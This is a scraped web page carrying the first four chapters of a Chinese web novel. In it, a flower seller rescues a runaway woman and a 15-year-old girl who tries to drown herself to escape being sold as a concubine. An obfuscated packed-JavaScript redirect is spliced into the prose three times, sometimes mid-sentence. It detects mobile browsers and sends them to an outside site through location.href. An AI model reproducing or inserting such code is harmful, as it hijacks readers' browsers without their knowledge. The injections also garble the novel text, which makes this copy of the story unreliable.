《女儿须遂平生志》 1. 跳河 夏天的阳光热辣,炙烤着地上的行人,袁竹感觉身上的担子越来越沉重,前胸后背的衣服都湿透了,额头上的汗水滑落,流进眼睛里,蛰得她睁不开眼,见前方路边有一棵大树,她快步走过去,卸下了担子,抬起胳膊擦了擦脸上的汗,坐在树下休息。 卖花担上,清晨摘取的紫薇和木槿的花瓣都失去了水分,软塌塌地皱作一团,只有茉莉和荷花还葆有生机,一阵轻风吹来,清香飘散,带来丝丝凉意,而后消失在燥热的空气里。 太热了,袁竹扯下担子上的荷叶,两只手抓着荷叶向脸上扇风,扇出来却是热风,她扔下荷叶,又把担子上花瓶里的荷花拿出来放到一边,把花瓶里的水倾倒在手上,洗一洗脸和脖子。 水滴落在地上,很快□□渴的大地吸收,留下一点深色的痕迹。 袁竹从担子上拿了手巾擦擦脸和脖子,爽快地呼出一口气,活过来了。 “水,可以给我,喝一口吗?” 听到旁边传来微弱的声音,袁竹转过头,看见大树背后露出半个脑袋。 袁竹站起身,“你要喝水?” 大树后的人慢慢挪了出来,“我太渴了,你那瓶子里还有水吗?” 袁竹看着眼前这个人,神态疲惫,嘴唇发白,头发蓬乱,衣服破破烂烂,裸露的胳膊和小腿上分布着一些细小的伤疤,沾满泥污的鞋子裂了个大口子,露出了脚趾。 看她白皙的皮肤,不像是庄稼人,怎么弄得像个乞丐一样?袁竹走回担子旁,拿出水葫芦,打开盖子递过去,“喝这个吧。” 那人感激地接过葫芦,仰头咕噜两口,就把葫芦里的水喝干了,她舔了舔嘴唇,“怎么就这么点儿?” 袁竹把葫芦拿了回来,“你不是说只要喝一口吗?” 那人有些不好意思,低下了头,“抱歉,我实在太渴了。” “你不是本地人吧,从哪来的?”袁竹问道。 那人摇摇头,没有回答。 “你自己出来的?衣服怎么弄成了这个样子?”袁竹又问道。 那人还是一言不发。 袁竹向着南方指了指,“我家就在那边,你要是没喝够,可以去我家继续喝。” 那人抬起头,露出欣喜的表情,“谢谢你!你真是个大善人!” “只是让你喝口水而已,你不用恭维我,不过,你的名字总得告诉我吧。”袁竹说道。 那人犹豫了一下,“我,我姓姜,姜佑安。” “我叫袁竹,你跟我走吧。”袁竹挑起担子,在前方引路,姜佑安快步跟上。 太阳依旧在上空炙烤着,姜佑安感觉刚刚喝下的两口水已经消失得无影无踪,饥渴和疲劳一齐涌上来,热气充斥着她的鼻腔,让她呼吸困难,她身子摇摇晃晃,深一脚浅一脚地跟在袁竹后面,还没走出百步远,就扑倒在地。 袁竹听到后面的动静,回头看时,人已经趴在了地上,她赶忙放下担子,去把姜佑安扶起来,“你怎么样?我家离这不远了,你还能不能走?” 姜佑安怕她丢下自己不管,赶紧抓住了袁竹的胳膊,虚弱地喘着气,“能走,我,我不能死在这里。” “说什么死不死的,哪有这么严重。”袁竹扶着姜佑安站了起来,把她的胳膊架在自己肩膀上,慢慢向前走,“前面河边有阴凉的地方,先去那边歇歇吧。” “好。”姜佑安用力地迈着步子,和袁竹一起走到了河边的小树林,靠着一棵柳树坐了下来。 袁竹折返回去,把她的卖花担子挑过来,又去河边洗了洗手巾,给姜佑安擦脸。 姜佑安感觉到脸上一片清凉,转头看去,见不远处有一片宽阔的水域,水面立着层层叠叠的荷叶,几支粉色的荷花正在青绿色的荷叶之间盛放,她舔了舔有些干裂的嘴唇,“有水,我要喝水。” “这河水可喝不得,再忍忍吧。”袁竹说道。 “让我喝吧,再不喝水,我就要渴死了。”姜佑安央求道。 “死不了。”袁竹有些不耐烦,这么热的天气,挑着担子走了这么远的路,她又累又饿,偏偏又惹上了这么个麻烦,袁竹有些后悔,要不就把她丢在这里,让她自生自灭吧。 “太热了,我要去水边洗洗。”姜佑安说着就要向河边爬去。 “去了你就上不来了,别乱动!”袁竹粗暴地把姜佑安摁在原地,周围凄厉的蝉鸣声让她更加烦躁,“你好好待在这里,我先把担子挑回家,再过来接你。” 姜佑安的头脑有些迷糊了,她向后靠在柳树上,痴痴一笑,“谢谢你,大善人。” 袁竹叹了口气,把担子挑在肩上,快步向前走去,待要走出林子的时候,她回头看了一眼,见姜佑安低着头在柳树下坐着,好像是睡着了。 睡着了好,睡着了就不会胡闹了,这要是迷迷糊糊地到了河边,掉进了水里,路上都没个行人,谁能救得了她? 袁竹回到家,放下了担子,去脸盆架边洗了把脸,胡乱擦了一把,去桌边拎起桌上的茶瓶,给自己到了一碗水,咕嘟咕嘟喝下肚,又倒了一碗,喝下半碗之后,她才坐下来,把碗搁在桌上,拿起一旁的蒲扇,快速挥动着给自己扇风。 有房屋遮阴,喝了水,又扇着风,袁竹感觉脸上的热气消散,整个人舒服了不少。 天气这么热,真是不想再出门,那个女人,就这样把她丢在河边的小树林里,不会出什么事吧?看她的样子像是睡着了,就这样睡到傍晚,等天气凉快些了,再让她来喝点水应该也可以。 看着院子里明晃晃的阳光,袁竹完全不想出门。 那女人身上的衣服破烂不堪,但那料子却不是寻常人家穿得起的,她身上也没个包裹,说不定是哪个富贵人家出逃的小妾或者丫鬟。 肚子咕噜噜响起来,袁竹放下蒲扇站起身,想去厨房弄点吃的,走到院子里,不经意间向院门外一瞥,看见了不远处的小树林。 袁竹站在丝瓜架下的阴影里,想起那女人憔悴的面容,说不定有人在追捕她,若是傍晚把她引到家里来,她推说天晚了赖着不肯走,那可就麻烦了,不如自己带些水过去给她,先解了她的渴,其他的,就都不干自己的事了。 袁竹回屋灌了满满一葫芦的水,又去厨房包了两块饼,虚掩上院门,匆匆往小树林走去。 刚走到小树林边缘,就听到里面传来争执的声音。 “你放开我!” “我不放!你生得如此美貌,何苦要寻死呢?” “这跟你没关系!你快放开我!” “我不放!” “你别管我!让我去死!” 听到有人哭喊,袁竹赶忙跑了过去,见是姜佑安和一个小姑娘在河边撕扯,她跑到近旁,丢下了葫芦和包袱,将两人分开,“怎么了这是?你们这是干吗呢?”袁竹问道。 “她要跳河,快拉住她!”姜佑安话音未落,好不容易从她手中脱离的小姑娘扑通一声跳进了河里,没有任何挣扎地消失在了水中。 “怎么办?我不会水。”姜佑安慌张地抓着袁竹的胳膊。 袁竹看着小姑娘消失的地方,甩开姜佑安的手,一个猛子扎进了水中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665220|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜佑安跪在岸边焦急地等待着,她探头向水面看去,水很浑浊,她什么都看不清,人还活着吗?能救上来吗?袁竹在水里能看到人在哪里吗?这水有多深?万一袁竹也上不来了该怎么办? 水面冒出了几个泡泡,却不见有人浮上来,“袁竹!袁竹!”姜佑安向着水面大声呼喊着,她手上紧紧攥着岸边的野草,紧张得几乎要呕吐。 终于,袁竹在水里露出了头,她用一只胳膊箍住小姑娘的胸口,游到了岸边,和姜佑安合力把小姑娘送上了岸,岸边的泥土滑腻,她蹬了几次腿都上不去,还是在姜佑安的帮助下才爬了上去。 姜佑安把小姑娘扶着坐了起来,好在施救及时,小姑娘只是呛了水,她咳了一阵之后,恢复了神智,什么都没说,只是大声哭起来。 见她哭得伤心,两人也没说什么,坐在一旁默默陪着她,姜佑安刚刚摸到了小姑娘的衣服,手上沾上泥水,她把手按在身旁的草地上,来回蹭了个干净。 慢慢的,小姑娘的哭声弱了下来,袁竹去把水葫芦拿过来,递给了小姑娘,“要不要漱漱口,喝点水?” 小姑娘摇了摇头,姜佑安赶紧把葫芦接了过去,“这是给我拿的水吧?” “是给你的,喝吧。”袁竹坐在小姑娘身边,无奈地说。 姜佑安打开葫芦盖,咕嘟咕嘟喝了起来。 “对不起,麻烦你们了。”小姑娘一边哭,一边用手背擦着眼泪,她脸上都是泥水,却难掩秀丽之貌。 “不麻烦,天气这么热,我正想去河里洗个澡,倒是你,你也是要去洗澡吗?”袁竹问道。 “她哪是要洗澡?她是要寻死!”姜佑安喝够了水,盖上了葫芦盖子,却没有要把葫芦还给袁竹的意思。 袁竹白了姜佑安一眼,“谁问你了?” “你不问我,我也要说,你也真够迟钝的,她不想活了,连这都看不出来。”姜佑安嫌弃地说道。 袁竹懒得理会她,伸手抱住了小姑娘的肩膀,轻声问道:“你是受了什么委屈吗?” 听到袁竹关心的询问,小姑娘的眼泪大滴大滴地滚落下来,哽咽得什么话都说不出来。 “身上衣服湿着也不舒服吧,我家离这里不远,先去我家换身衣服,其他的再慢慢说吧。”袁竹把小姑娘扶了起来,又用手指了指地上的包裹,对姜佑安说道:“那包袱里有两块饼,是给你的,葫芦也给你了,你留着装水喝吧。” “袁竹,你真是太好了!谢谢你!”姜佑安拾起地上的包袱,打开来照着饼上咬了一大口,那饼却丝毫未伤,“啊,这饼也太硬了,怎么吃啊?” “你爱怎么吃怎么吃。”袁竹扶着小姑娘向前走,感觉自己的右脚有些不对劲。 姜佑安跟了上去,“别啊,袁竹,你好人做到底,给我点能吃的东西吧。” 小姑娘依偎在她身上,袁竹走起来有些不稳,她的火气逐渐上来了,“不想吃就扔了,我就当喂狗了。” “我是人,不是狗!这么硬的东西没法吃。”姜佑安不满地拦在袁竹面前。 袁竹停了下来,两眼瞪着姜佑安,满脸怒气,“好狗不挡道!滚一边去!” “你怎么骂人啊!”姜佑安被袁竹的怒气吓到,小声嘟囔着,“凶什么凶,狗能啃骨头,我又啃不动。” 袁竹拧紧了眉头,大骂道:“他大爷的!老娘今天真是倒了八辈子的霉,碰上你这么个扫把星!我就不该管你,让你渴死算了。” 小姑娘抬头看向袁竹,一脸的愧疚,“姐姐,对不起,都是我不好。” 2. 火坑 看着小姑娘楚楚可怜的脸,袁竹深深地叹了口气,“算了,我倒要看看我还能倒霉到什么地步,你!”她伸手指了指姜佑安,“你把这孩子背到我家去,我就让你烧水泡饼吃。” “我背她?她身上湿乎乎的,都是泥水,把我衣服弄脏了怎么办?再说了,我饿着肚子,没有力气啊。”姜佑安不太想应承。 “不背?不背就滚远点儿,不要跟着我们。”袁竹说。 “没事,姐姐,我自己能走。”小姑娘推开袁竹的手,自己向前走了两步,身子摇摇晃晃的,姜佑安赶紧将她扶住,“好,我背就是了。” 姜佑安把葫芦和装着饼的包袱塞到袁竹的手里,在小姑娘身前俯下身子,小姑娘有些犹豫地看向袁竹,袁竹扬了扬下巴,“前面路右边那个房子就是我家,你让她背着,我们还能快点回去。” 小姑娘听话地伏在了姜佑安的背上,姜佑安直起身子,快步向前走去,“前面那家就是?早知道你家这么近,我就直接过来了,还能早点喝到水,不过,要不是在河边等着,就救不到这么漂亮的小姑娘了,姑娘,你说是吧。” 小姑娘轻轻点了点头,“辛苦姐姐了。” 虽然肚子饿得难受,但想到马上就能吃上热乎饭了,姜佑安腿上充满了力量,“不辛苦,你也太瘦了些,平时肯定没有好好吃饭吧?” “家里孩子多,我要是吃得多了,妹妹弟弟们就不够吃了。”小姑娘回答道。 “连饭都吃不饱吗?那可真是不好受,我这两天也知道了饿肚子的滋味,唉,真是后悔,以前有那么多珍馐美味摆在我面前,我还嫌不合胃口,如今却只能吃这比石头还硬的饼子,这简直不是给人吃的东西!”姜佑安抱怨道。 “有饼子吃就不错了,我家人多,粮食不够吃,有时候只能煮点稀粥喝,还不如吃点饼子实在。”小姑娘仿佛忘记了刚刚还命悬一线,认真地跟姜佑安说道。 “粥也行啊,现在要是有鸡肉粥,我肯定能吃两大碗。”背后被小姑娘的衣服洇湿了一大片,两个身体热乎乎、湿乎乎地贴在一起,头顶上还有大太阳,姜佑安觉得越来越热,快要喘不过气来了,她飞快地向前走着,到了道路右边的房屋院门前,推开门,大步走了进去。 “姐姐,你放我下来吧。”小姑娘说道。 “好,你小心点儿。”姜佑安蹲下身子,把小姑娘放了下来,回头看去,袁竹还在半路上,小步小步地向这边挪。 “她在磨叽什么呢?这么热的天,怎么还跟散步似的慢慢走。”姜佑安奇怪地问道。 小姑娘仔细看了看,“那位姐姐的脚好像受伤了。” “受伤了?真是够没用的。”姜佑安喘着粗气,抬起胳膊擦了擦额头上的汗,让小姑娘安心在这里歇着,自己去把袁竹接回来。 姜佑安本想把袁竹也背回来,谁知道她犟得很,根本不肯让人背,姜佑安只好接过她手里的葫芦和包袱,把她扶了回来,一进院子,小姑娘就从屋里搬了一把椅子来,放在丝瓜架下,姜佑安把袁竹扶过去坐了,小姑娘又拿了蒲扇来,给袁竹扇风。 “还有椅子吗?我也坐下歇会儿。”姜佑安说。 小姑娘又去搬了把竹椅来,让姜佑安在袁竹旁边坐下,她弯着挥动着蒲扇,给两人扇风。 “别忙了,你也歇会儿吧。”看到小姑娘的脸热得红彤彤的,袁竹把扇子拿过来,给她扇了扇。 小姑娘的眼眶又红了,“对不起,都怪我,害你受伤了。” “我没事,只是崴了下脚,歇两天就好了。”袁竹拿蒲扇拍了拍姜佑安的胳膊,“你起来,让她坐。” 姜佑安把葫芦和包袱扔在了地上,感觉又热又累,她瘫坐在椅子上,完全不想动弹。 “让姐姐坐好了,我坐地上就行。”小姑娘说着,湿漉漉地坐在了一旁的地上。 小姑娘懂事得让人心疼,这样的性格以后肯定会很吃亏,“你被人欺负了吗?”袁竹轻声问道。 小姑娘摇了摇头。 “忙活了这么一通,我们还不知道你叫什么名字呢。”姜佑安说道。 “我姓阮,叫招娣。”阮招娣低着头答道。 姜佑安感到奇怪,“招地?看你样貌不俗,怎么起了这么个怪名字。” “名字都是父母取的,你问她这个做什么。”袁竹白了姜佑安一眼,又柔声向阮招娣问道:“既然没受委屈,你为什么要跳河?” “我……”阮招娣有些犹豫。 “我们对你来说只是陌生人,并不是想对你的事刨根问底,你要是不想说,我们也不勉强,等你身上的衣服干了,你就自己离开吧。”袁竹一边给自己扇着风一边说道。 “你这话说得也太冷血无情了吧,人你都救了,怎么能不问明原委,就把她赶走?万一她又要寻死怎么办?”姜佑安说道。 袁竹看向姜佑安,神情十分不耐烦,“你怎么还在这?这里没你事了,你也赶紧走!” 姜佑安“我不走!人我给你背回来了,你说要给我热水泡饼吃的。” “我,我不能回家去。”阮招娣突然开了口,提起回家,她的眼泪又流了出来。 “为什么?”袁竹问道。 “我爹娘要我嫁人。”阮招娣流着泪说道。 袁竹从姜佑安破烂的衣服上扯下一块干爽的布条,俯身给阮招娣擦了擦眼泪。 “哎!我的衣服可不是这么用的。”姜佑安不满地说道,袁竹瞪了她一眼,她只好赶紧闭上嘴。 “你才多大?怎么就要嫁人了?”袁竹问道。 “我今年十五了,我爹说只要我答应嫁人,妹妹弟弟就都有粮食吃了,要不然,大家都要被饿死。”阮招娣接过袁竹给她的布条,哽咽着说道。 姜佑安突然激动起来,“没粮食,那就大家一起饿死,凭什么要牺牲你一个,让他们都能吃饱?” “你别添乱了!”袁竹训斥道。 “我说的不对吗?父母没本事,就别生这么多孩子,现在养不活了,就要把女儿?推出去换粮食,这样的父母,还有人性吗?”姜佑安生气地说道。 见姜佑安如此气愤,袁竹反倒平静下来,耐心劝慰道:“你又不了解她家的情况,你怎么知道她父母没有为她打算,没有给她精心挑一个好夫家呢?她家里这么穷,也许嫁了人,她就能过上不缺吃喝的日子了呢?” 姜佑安不太认同,“才十五岁就要把她嫁出去,就算是精挑细选的丈夫,对方还能白白养着她,等着她长大?” “你是外地来的,所以不清楚本地的情况,虽然官府规定十八岁才能成婚,但这里是小地方,没人管,多的是十五六岁就嫁人的姑娘。”袁竹说。 姜佑安蹭地站了起来,用手指着阮招娣,“你说多的是?孩子这么小,就能结婚生子了?” 袁竹也站了起来,打落姜佑安的手,“你指什么指!父母这么安排的,你让孩子有什么办法?” 是啊,都是父母之命,孩子怎么能违抗?姜佑安捂着火辣辣的手背,说不出话来。 袁竹踉跄着在阮招娣面前坐下,“姑娘,你是不满意你爹娘给你挑的男人吗?” 两个人一番争吵,止住了阮招娣的眼泪,她用手背擦了擦脸,向两人解释道:“那个男人不是我爹娘给我挑的,他从我们村子路过,看到我在打水,就跟着我回了家,说要给我爹一百两银子,让我给他做妾。” “哼,可真是个千挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665221|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万选的好男人!”姜佑安出言嘲讽。 袁竹心里也是一沉,“你爹不认识他?” 阮招娣摇了摇头,“不认识,他走后,我爹出去打听了,说他是县城里做生意的,家里很有钱,嫁给他,以后就不愁吃穿了。” “你不想嫁给他,所以才跳河的?”袁竹问道。 姜佑安揉着手背,坐回了椅子上,“这还用问吗?随随便便就能去买个女人做妾的人,能是什么好男人!不过你也是,也太想不开了,何必因此就自杀?活着总会有转机,说不定还能从那男人身边逃走呢。” 阮招娣轻轻叹了口气,眼神迷茫,“逃走又能怎样,我还能去哪?就算回家了,我爹也还会再把我送出去,不是这个男人,也会有下一个男人,我的身子,由不得我自己,不如还给爹娘,死了干净。” 姜佑安感同身受,“明知前面是个火坑,他们也会推着你跳下去,这个家,不回也罢。” 袁竹思虑了片刻,“你是哪个村子的?离这里近吗?” “我家在庆丰村,离这里很远,我沿着河边走了很久,才走到这里。”阮招娣说道。 “那个村子我听说过,这样吧,你要是实在无处可去,就先在我这里住着,给我打打下手卖卖花,等缓一缓,再做打算。”袁竹说道。 阮招娣抬起头,感激地握住了袁竹的手,“谢谢姐姐,你是我的大恩人。”说着就要跪拜,袁竹伸手拦住她,“叫我袁竹就好,不过是举手之劳,反正东屋空着,你先住进着就是了。” “真好啊,你不是无处可去的人了。”姜佑安有些羡慕地看着阮招娣,“这回不会再想不开了吧。” “不会了,我的命是两位姐姐救下的,姐姐让我活着,我就好好活着。”阮招娣说道。 袁竹站起身来,阮招娣把她扶到椅子边坐下,她指了指左侧的厨房,“那是厨房,水在缸里,你自己去烧水泡饼吃吧,多烧点水,我和这个小姑娘还要洗洗澡。” 姜佑安并不往厨房去,“她叫阮招地,你记不住吗?怎么还小姑娘小姑娘的,显得多生分。” “跟你没关系,吃了饼就赶紧走,趁天黑之前还能赶赶路。”袁竹揉着脚踝,不客气地说道。 姜佑安蹲在袁竹身旁,脸上赔着笑,“袁大善人,我今天不想赶路了,你让我也在这里歇一歇吧。” “我给你吃的喝的,就已经够仁慈了,你还想留在这里过夜?这可不行,你得赶紧走。”袁竹斩钉截铁地拒绝道。 姜佑安做出一副可怜巴巴的神情,“袁大善人,收留一个和收留两个,也没什么区别,你就可怜可怜我吧。” “你跟她能一样吗?她是本地人,事情也全都跟我说清楚了,你呢?你是哪来的?”袁竹问道。 “我跟她是一样的,也是被父母逼着嫁人,给一个有钱人当小妾,我是趁人不备逃出来的,你行行好,也收留了我吧。”姜佑安说道。 跟自己推测的八九不离十,袁竹还是有些犹豫,“逃出来的?后面有没有人捉拿你?” “没有,他们估计还不知道我逃走了,我这一路上都没有遇到追兵。”姜佑安说道。 “没有人追你,你这衣服怎么成了这个样子?”袁竹追问道。 姜佑安叹了口气,“都怪天太暗,我看不清楚路,不小心跑到荆棘丛里去了,刮得我一身的伤。” 阮招娣怜惜的眼神投向姜佑安,“想不到姐姐竟然和我一样。” “是啊,我可惨了,我爹娘都不要我了。”姜佑安把手搭在袁竹的手臂上,轻轻晃动着她的胳膊,“袁竹姐姐,我什么都听你的,你让我做什么我就做什么,绝无怨言,你就让我留下吧,我不想再睡在野地里了。” 3. 男人 袁竹推开姜佑安的手,“谁知道你说的是真是假。” “当然是真的,你留下招地是想让她帮你卖花吧,你那卖花担子要挑着到处走,你脚崴了,招地又这么瘦弱,怎么干得了这种活,再说了,她家里人肯定在找她,她也不好抛头露面,我就不一样了,我是外地的,没有人认识我,我可以帮你挑着担子卖花去。”姜佑安站起身,拍了拍自己的臂膀,“只要吃饱了,我有的是力气,给你挑挑担子,不在话下。” 阮招娣也想让姜佑安留下,但又不好开口,只好用希冀的目光看向袁竹。 袁竹想了想,觉得姜佑安说得也有些道理,“你要留下也可以,不过,若是有人来管我要人,我就马上把你交出去,你可不要怪我。” “好,到时候姐姐把我交出去就是了,我绝不会连累姐姐。”姜佑安信誓旦旦地说。 袁竹把蒲扇放在椅子上,站起身向屋内走去,“烧水去吧,我去找几身衣服,给你们换上。” “谢谢姐姐!”阮招娣高兴地向袁竹的背影道谢。 姜佑安凑过去,“招地,她说的烧水,是用碳烧吗?我没点过碳,你会不会?” 阮招娣笑了笑,“我来烧就好,姐姐你叫什么名字?” “我叫姜佑安。”姜佑安朗声答道。 “佑安姐姐,你在这里坐着歇会儿吧,等水烧好了,我叫你。”阮招娣说着进了厨房。 姜佑安拿起椅子上的蒲扇,边扇风边四处看看,这院子很小,阮招娣去的厨房,看起来也小小的,还很阴暗。 姜佑安走到房屋门口,向内张望,只见这小小的房子被分割成三间,当中一间大约是客厅,摆放着洗脸盆架、茶几、桌椅和一个大缸,卖花担子靠墙放着,西面一间应该是袁竹的卧室,她正在里面忙碌,姜佑安走进东面那间,看见里面摆放着许多的农具和杂物,还有一张破旧的木板床,上面也乱七八糟地放着一堆东西。 姜佑安退了出去,搬了椅子坐在阴凉处扇着风,感觉肚子饿得难受,她起身去捡起地上的包袱,捏着包袱皮,啃了一口饼子,真硬,但也不是完全啃不动,她又啃了一口,才终于啃下一小块,她坐回椅子上,细细品味着。 这东西真的是人吃的吗?姜佑安不禁想到。 “不是让你去烧水吗?你怎么自己坐在这里吃东西?”姜佑安一抬头,就看见了袁竹那双微微带着怒气的眼睛。 姜佑安赶紧把饼子放下,站了起来,“我不会烧水,招地说她去烧,烧好了叫我。” 袁竹有些怀疑,“烧水都不会?看来你家挺有钱啊,怎么还会把你卖了给人做小妾?” “不图财自然是图别的,反正我爹娘不疼我,只把我当成个物件,要把我送给一个老头子,我是真的命苦,不是骗你的。”姜佑安解释道。 “行吧,不管你以前过的是什么衣来伸手、饭来张口的好日子,在这里,可没人伺候你,什么事都得自己做,你说了,只要我收留你,你什么都听我的,去帮小阮烧水去。”袁竹说道。 “好,我这就去。”姜佑安放下蒲扇,快步走进了厨房。 厨房里光线昏暗,姜佑安一进去就闻到一股异味,同时热气也包裹了上来,又闷又热又臭,她眉头紧锁,捂住了鼻子,“这是什么味儿啊?” 阮招娣坐在灶口前,小脸被炉灶里的火烤得通红,汗水顺着脸向下淌,“水很快就烧好了,这里热,姐姐你去外面等着吧。” 姜佑安想要退出去,但袁竹还在外面盯着,为了留在这里,她只能强撑,“这是水的味道吗?这么难闻,还能用吗?” “这是霉味,可能是前几天雨下的多,厨房里潮湿,有东西发霉了。”阮招娣解释道。 “东西发霉了怎么不赶紧扔掉,还留着做什么?”姜佑安问道。 阮招娣的衣服已经被烘干了,她抬起胳膊,擦了擦脸上的汗,“没事,洗洗晒晒还能用。” “让你帮忙干活,你怎么光站着?”袁竹站在门边扶着门框说道。 姜佑安正要找个借口,阮招娣站起来,绕到锅边揭开了锅盖,笑着道:“水已经烧开了,不用佑安姐姐帮忙了。” “行,那就先弄点水泡饼吃吧,我要饿死了。”袁竹说道。 “姐姐先去屋里吧,我一会儿就把水拿过去。”阮招娣说道。 “碗在右边下面的橱柜里,水壶也在里面,姜佑安,你去帮忙灌水。”袁竹吩咐完,转身回屋了。 阮招娣小声对姜佑安说道:“我来灌水,一会儿你拿过去就行。” 姜佑安高兴地笑起来,“妹妹你真是机灵,你这样帮我,我以后一定不会亏待你的。” “姐姐们救了我命,我做什么都是应该的。”阮招娣的脸红扑扑的,看起来格外可爱,她打好热水,递给了姜佑安,“小心点儿拿,别烫着了。” 姜佑安轻轻一笑,“妹妹放心,这点儿活,姐姐我还是做得来的。” 姜佑安拎着水壶去了堂屋,袁竹已经坐在桌边等着了,她把水壶放在桌上,又去把包袱里的饼子取来,费力地把一个饼子掰成了两半,阮招娣进来看见了,放下了碗筷,把饼子取走,用刀切成了小块,装了一盘子端过来。 袁竹把盘子里的饼块拨进三个碗里,自己取了一碗,把热水倒进去,姜佑安和阮招娣也各拿了一碗,用热水泡着吃起来。 饼块没有什么滋味,热水也只是白水而已,但对于十分饥饿的姜佑安来说,也不是那么难以下咽。 吃过了简单的午饭,三人各自洗了澡,换了衣服,搬了椅子在院子里纳凉,阮招娣拿着蒲扇坐在边上,给两个人扇着风。 “姐姐的脚还疼吗?”阮招娣问道。 “不疼了,你自己扇就好了,不用给我们扇。”袁竹说道。 阮招娣继续给两人扇着风,“没事的,姐姐你一个人住在这里吗?” “是啊,这里就我一个人。”袁竹答道。 “一个人住,不害怕吗?”阮招娣问道。 “习惯了,这里离旁边的村子不远,有事我也会找那边的人帮忙。”袁竹答道。 “姐姐的爹娘不在这边吗?”阮招娣又问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665222|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小姑娘好奇的事还挺多,我爹娘不在这边,你想留下来陪我吗?”袁竹笑着问道。 “你不是说本地人十五六就能嫁人了,你看起来也有二十五六岁了,怎么没有嫁人,却在这里独自居住?”姜佑安问道。 “这是我的私事,不需要告诉你,反正等我脚好了,你就要走了,问这些做什么?”袁竹说道。 姜佑安撇了撇嘴,“你这人怎么还有两幅面孔,对着招地,就问她是不是要留下来陪你,我一问,你就赶我走,这也太不公平了吧。” “小姑娘人家是乖巧又勤快,你呢?一看就是个富贵的身子,连烧火都不会,我留你干什么?留着伺候你啊?”袁竹没好气地说。 “谁说要你伺候了,你要我干活,我又不是不干,还有啊,你怎么总是一口一个小姑娘的,人家有名字,叫招地!”姜佑安说道。 “招娣。”袁竹抬头看向院门外,声音放低了许多,“招娣也算个名字吗?” 姜佑安有些生气了,“你这个人可真是,我说这名字奇怪,你说都是父母取的,跟孩子无关,现在怎么又说不算个名字?你是不是专门在跟我抬杠?” “你是个外地人,所以你不懂。”袁竹看向阮招娣,“如果你以后都不想回家了,不如就改个名字吧。” “改名字?”阮招娣挥动蒲扇的手停住了,一时陷入了沉思。 “你要是不想改就算了,我也可以叫你小阮。”袁竹说道。 “改一个也好,招地这两个字,根本配不上你这花容月貌。”姜佑安说道。 阮招娣一下被逗笑了,“佑安姐姐说话真好听,可我也不知道改什么名字好。” “没事,慢慢想就行,只要不是招娣,就算叫土地,都要好得多。”袁竹说道。 “土地,那她不就是土地婆婆了?”姜佑安笑了起来。 袁竹也笑了,“赶明儿重修土地庙的时候,就让工匠按照小阮的脸塑像吧。” 阮招娣别过脸去,“哼,你们取笑我,我不跟你们说了!” 姜佑安却突然想起了什么,“袁竹,这附近有土地庙?” “有啊,就在后面那座山上,离这里不远,今年年初的时候,那庙突然塌了,一直没有修,现在都没人去了。”袁竹问道。 姜佑安激动地站了起来,“塌了?你是说这附近有一座塌了的土地庙?” 袁竹奇怪地看着姜佑安,“是啊,怎么了?” 姜佑安没有回答,直接冲出门去,阮招娣跟了出去,见她正向后山跑去,“佑安姐姐这是怎么了?” “谁知道她发什么疯,不用理她,就这么走了也挺好,还能给我省点粮食。”袁竹无所谓地说道。 两人在院子里纳凉说着话,黄昏时分,姜佑安又回来了,身上还背着一个男人,男人垂着头,看起来病恹恹的。 袁竹让阮招娣拦住了姜佑安,“我这里不许男人进来!” 姜佑安有些着急,“他病了,病得很重。” 袁竹没有丝毫动摇,“要死的男人更不能进来!” 4. 卖花 “袁竹,袁姐姐,你通融一下,给他一个遮风挡雨的地方就行,我会照顾他的。”姜佑安央求道。 “他为什么要救他?他是你的情人?”袁竹问道。 “不是,我不认识他。”姜佑安否认道。 袁竹不解,“不认识你为什么要救他?” “昨天夜里,我在那个破庙里遇到了他,我问他有没有吃的,他给了我一个馒头,他帮过我,我不能让他死在那里。”姜佑安解释道。 “我也不能让他死在我家里。”袁竹说道。 姜佑安往上托了托男人的身体,脸颊边有汗水滴落,“只要有个遮风避雨的地方就行,我只希望他能走得舒坦些。” 袁竹依然无动于衷。“那是你的想法,跟我无关。” 两个人互不相让,阮招娣夹在中间左右为难,一方面,她觉得生病的人无处可去很可怜,另一方面,她又觉得将死之人有些可怕,犹豫许久,还是一句话都说不出来。 “放我下来吧。”男人的脑袋伏在姜佑安肩上,发出微弱的声音。 “小阮,你去搬把椅子出来,让他先在外面坐会儿。”姜佑安向阮招娣说道。 阮招娣看了看袁竹,见袁竹沉默不语,她赶忙应了一声,“好,我这就去。” 阮招娣搬了椅子放在院门外,姜佑安小心地把男人安放在了椅子上,“你怎么样了?” 男人垂着头,抬手放在自己腰上,摸索了一阵,从腰带里抠出来两块碎银子,递给姜佑安,“姑娘,谢谢你,请你把这银子给这家的主人,容我在这里歇歇就好,等我能走动了,就自己离开。” 